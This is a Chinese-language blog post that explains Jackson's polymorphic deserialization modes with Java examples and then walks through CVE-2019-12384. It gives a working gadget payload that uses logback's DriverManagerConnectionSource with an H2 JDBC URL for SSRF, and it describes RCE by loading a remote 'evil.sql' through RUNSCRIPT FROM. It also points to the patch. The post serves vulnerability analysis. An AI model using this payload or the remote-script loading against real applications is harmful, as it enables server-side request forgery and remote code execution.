CVE-2019-12384 復現分析


之前對Jackson反序列化了解不多,工作需要剛好分析 CVE-2019-12384 漏洞,故此記錄一下關於Jackson反序列化漏洞的理解。

1、Jackson的多態類型綁定

    官方介紹在:https://github.com/FasterXML/jackson-docs/wiki/JacksonPolymorphicDeserialization,主要分兩種:DefaultTyping@JsonTypeInfo

  • DefaultTyping

    主要有下面四種類型,其中默認是:OBJECT_AND_NON_CONCRETE(也是最常用類型)。

JAVA_LANG_OBJECT:僅影響Object.class類型的屬性
OBJECT_AND_NON_CONCRETE:影響Object.class和所有非具體類型(抽象類,接口)
NON_CONCRETE_AND_ARRAYS:與上面相同,並且所有相同的數組類型(直接元素是非具體類型或Object.class)
NON_FINAL:影響未聲明為“final”的所有類型,以及非最終元素類型的數組類型。

    a、JAVA_LANG_OBJECT :當類里的屬性聲明為一個Object時,會對該屬性進行序列化和反序列化,並且明確規定類名。測試代碼:

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        p.object = new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
     //age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@239963d8 } }
class People { public int age; public String name; public Object object; @Override public String toString() { return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object); } } class l1nk3r { public int length = 100; }

    此時,在我們進行序列化和反序列化的時候,序列化json信息中攜帶了相關的類的信息:"object":["com.l1nk3r.jackson.l1nk3r",{"length":100}]

    b、OBJECT_AND_NON_CONCRETE:默認方法,除了上面的特征,當類里有 Interface 、 AbstractClass 時,也對其進行序列化和反序列化。測試代碼:

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        p.object = new l1nk3r();
        p.sex = new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
        //age=10, name=com.l1nk3r.jackson.l1nk3r, jacksonxx.l1nk3r@57fffcd7
    }

}

class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

    c、NON_CONCRETE_AND_ARRAYS :除了上文提到的特征,還支持上文全部類型的Array類型(直接元素是非具體類型或Object.class)。例如下面的代碼,我們的Object里存放l1nk3r的數組。

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "com.l1nk3r.jackson.l1nk3r";
        l1nk3r[] l1nk3rs= new l1nk3r[2];
        l1nk3rs[0]=new l1nk3r();
        l1nk3rs[1]=new l1nk3r();
        p.object = l1nk3rs;
        p.sex = new MySex();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //{"age":10,"name":"com.l1nk3r.jackson.l1nk3r","object":["[Ljacksonxx.l1nk3r;",[{"length":100},{"length":100}]],"sex":["jacksonxx.MySex",{"sex":0}]}
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
        //age=10, name=com.l1nk3r.jackson.l1nk3r, [Ljacksonxx.l1nk3r;@31a5c39e
    }

}

class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}

    d、NON_FINAL :包括上文提到的所有特征,而且包含即將被序列化的類里的全部、非final的屬性,也就是相當於整個類、除final外的的屬性信息都需要被序列化和反序列化。

package jacksonxx;

import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;

public class Test {

    public static void main(String[] args) throws Exception {
        People p = new People();
        p.age = 10;
        p.name = "l1nk3r";
        p.object = new l1nk3r();
        p.sex = new MySex();
        p.l1nk3r=new l1nk3r();
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
        String json = mapper.writeValueAsString(p);
        System.out.println(json);
        //["jacksonxx.People",{"age":10,"name":"l1nk3r","object":["jacksonxx.l1nk3r",{"length":100}],"sex":["jacksonxx.MySex",{"sex":0}],"l1nk3r":["jacksonxx.l1nk3r",{"length":100}]}]
        People p2 = mapper.readValue(json, People.class);
        System.out.println(p2);
        //age=10, name=l1nk3r, jacksonxx.l1nk3r@57fffcd7
    }

}

class People {
    public int age;
    public String name;
    public Object object;
    public Sex sex;
    public l1nk3r l1nk3r;
    
    @Override
    public String toString() {
        return String.format("age=%d, name=%s, %s", age, name, object == null ? "null" : object);
    }
}
class l1nk3r {
    public int length = 100;
}

class MySex implements Sex {
    int sex;

    @Override
    public int getSex() {
        return sex;
    }

    @Override
    public void setSex(int sex) {
        this.sex = sex;
    }
}

interface Sex {
    public void setSex(int sex);
    public int getSex();
}
  • @JsonTypeInfo

    @JsonTypeInfo 也是jackson多態類型綁定的一種方式,它一共支持下面5種類型的取值。

@JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
@JsonTypeInfo(use = JsonTypeInfo.Id.COSTOM)

    其中只有CLASS、MINICMAL_CLASS在輸出結果中攜帶了相關類,便於我們反序列化漏洞的利用。測試代碼如下:

package com.l1nk3r.jackson;
import com.fasterxml.jackson.annotation.JsonTypeInfo;
import com.fasterxml.jackson.databind.ObjectMapper;
import java.io.IOException;

public class Jsontypeinfo {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper= new ObjectMapper();
        User user = new User();
        user.name= "l1nk3r";
        user.age=100;
        user.obj=new Height();
        String json = mapper.writeValueAsString(user);
        System.out.println(json);
    }
}

class User{
    public String name;
    public int age;
    @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)
    public Object obj;

    public String toString(){
        return "name:" + name + " age:" + age + " obj:" + obj;
    }
}

class Height{
    public int h = 100;
}

  所以上面的內容表明,我們在可控輸入序列化字符串的時候,使用 enableDefaultTyping()、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS) 時,才能成功反序列化出我們想要的類。

2、CVE-2019-12384

  回到我們的這個漏洞,利用該漏洞需要用到:logback-core和h2兩個三方jar包,且能控制輸入完整的惡意序列化字符串且使用了多態,整體來說利用場景比較有限。

  我們構造的惡意序列化字符串如下:

String content = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:8888/aaa\"}]";

  其中 ch.qos.logback.core.db.DriverManagerConnectionSource 代表的是類名,后面 {} 里面的是類中url變量,值為 jdbc:h2:tcp://127.0.0.1:8888/aaa 。我們看看這個 ch.qos.logback.core.db.DriverManagerConnectionSourcel 類:

  

  Jackson在進行序列化的時候會循環調用序列化對象所屬類的每一個get方法,當調用到類ch.qos.logback.core.db.DriverManagerConnectionSource的getConnection()方法的時,實際是去調用DriverManager. getConnection()方法去鏈接遠程的數據庫,也就導致產生了SSRF漏洞 。

   首先通過 mapper.readValue() 函數反序列化出要調用的 ch.qos.logback.core.db.DriverManagerConnectionSource 類對象,其中類中的遠程加載的url為我們傳入的ssrf地址,並返回該object對象:

  

  然后進入 mapper.writeValueAsString() 方法,傳入object對象,然后循環去解析ch.qos.logback.core.db.DriverManagerConnectionSource類中的方法:

  

  當i為6時,跟進調用鏈,發現使用了DriverManager.getConnection()方法去鏈接遠程的數據庫,出現ssrf漏洞。

  

  而rce的利用,是使用了jdbc:h2:mem:來操作內存表,使用RUNSCRIPT FROM 'http://localhost:8888/evil.sql'來加載遠程SQL文件在內存中執行,而我們的 evil.sql實際是一個java代碼的函數,通過CALL來調用,於是造成java代碼在本地應用執行,出現rce。

  

  

  漏洞修復補丁:https://github.com/FasterXML/jackson-databind/commit/c9ef4a10d6f6633cf470d6a469514b68fa2be234 

  

  在補丁中可以看到是直接把ch.qos.logback.core.db.DriverManagerConnectionSource 類加入了黑名單,我們的利用鏈也就無法利用成功了。但這種黑名單方式,局限性也比較大的,找到新的利用鏈即可再次利用,如:https://github.com/FasterXML/jackson-databind/compare/jackson-databind-2.9.9.1...jackson-databind-2.9.9.2(對應CVE-2019-14379、CVE-2019-14361)

 

參考:

https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

https://forum.90sec.com/t/topic/259


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM